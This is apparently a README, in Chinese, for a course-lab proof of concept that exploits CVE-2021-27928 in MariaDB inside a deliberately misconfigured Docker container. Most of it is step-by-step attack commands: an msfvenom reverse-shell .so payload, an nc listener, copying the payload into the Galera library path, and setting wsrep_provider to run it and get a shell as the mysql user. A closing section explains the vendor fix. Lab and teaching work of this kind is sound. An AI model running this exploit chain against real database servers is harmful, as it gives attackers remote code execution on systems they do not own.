在本仓库中,你将找到通过一个 docker 容器利用 CVE-2021-27928 漏洞的概念验证代码。
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
系统变量 wsrep_provider 和 wsrep_notify_cmd system 可由具有超级权限的数据库用户在运行时修改,这可能导致远程代码的执行,且该代码将以这些权限运行。
第一个变量接收服务器将尝试通过 dlopen() 加载的 .so 库路径,第二个变量接收服务器将执行的 shell 脚本路径。使这两个变量可写,允许具有超级权限的数据库用户以系统 mysql 用户的身份执行任意代码。
在此概念验证中,我们将使用 msfvenom 生成包含我们载荷(本例中为反向 shell)的 .so 库。然后,我们将该文件复制到易受攻击的机器上,并在 wsrep_provider 变量中指定此路径,该变量将执行我们的载荷,通过反向 shell 使我们以具有超级权限的用户(此处为 mysql 用户)身份访问目标机器。
对于此实验,你需要在机器上安装 docker、msfvenom、openssh-client 和 mariadb 软件包。
在此设置中,目标机器基于 MariaDB 10.4.12 镜像(该版本易受此漏洞影响),其中运行着 openssh 服务器,且不允许 root 登录。因此,我们为你创建了一个非 root 用户 myuser,其密码为 mypassword。
构建易受攻击的镜像:
docker build --rm=true -t mariadb-cve-2021-27928 .
启动目标机器:
docker compose up
载荷是我们希望在利用完成后目标机器执行的二进制文件。这里,我们使用 msfvenom 创建反向 shell 载荷,以 .so 库的形式,并将我们的 IP 地址(LHOST)和端口(LPORT)作为参数。在另一个 shell 中运行:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
LHOSTIP 地址是在docker-compose.yaml中为网络网关定义的地址,在我们的场景中,即攻击者(你)的地址。
在后台,在第三个终端上,我们将监听目标机器在其应连接的端口上的任何传入连接。
nc -lnvp 4444
我们监听的端口
4444是我们在创建载荷时设置为LPORT的端口。
现在,我们需要使用 scp 命令通过 SSH 将之前创建的载荷(payload-CVE-2021-27928.so)复制到目标机器,以非 root 系统用户 myuser 身份操作,其密码为 mypassword:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
由于无法通过 SSH 直接复制文件到 /usr/lib,我们必须连接到机器并手动将其移动到正确位置(请记住 myuser 的密码为 mypassword):
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
我们本可以将载荷以其他名称(如
/tmp/exploit.so)上传到其他目录,并将此路径作为载荷路径传递,但由于该漏洞已在所有 mariadb 软件包中修复,其利用需要一些调整,你将在本演示末尾看到。
最后一步是通过以友好的非 root 系统用户(同时也是称职的数据库管理员)身份发送请求,利用 MariaDB 漏洞,设置全局变量 wsrep_provider 为我们载荷的路径。
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
这里的
root指的是数据库级别的“管理员”,而非“系统根用户”。因此,此处的密码是docker-compose.yaml文件中的MYSQL_ROOT_PASSWORD: myrootpwd。
最后,如果一切按预期进行,我们可以在之前监听传入连接的终端中看到目标机器已成功回连到我们,并且我们可以运行 shell 命令。尽情享受吧 :)
反向 shell 不如“经典” shell 那样花哨:没有自动补全、shell 提示符或历史记录,因此你需要自行监控命令的正确执行。例如,不妨使用
ls -la。
你可以在 netcat 的 shell 上运行
whoami来检查你是否为mysql系统用户!
根据 MariaDB 的 Jira,似乎很少有(或没有)实际用例需要在运行时修改这些变量,它们仅在测试中使用。发现此漏洞后,修复方法是将它们设为只读,这是一个简单且安全的修复,代价是测试脚本稍显复杂。
以前并非如此,但现在 wsrep_provider 唯一能接受的路径值是 /usr/lib/galera/libgalera_smm.so,这就是为什么此概念验证需要一些调整,例如给予 /usr/lib/galera 文件夹写权限以便上传我们的载荷。因此,在本演示的背景下,此配置是故意存在缺陷的,但在大多数当前系统上已无法以此方式利用。
此项工作是格勒诺布尔 INP - Ensimag, UGA 信息系统工程专业最后一年举办的信息系统安全课程的一部分。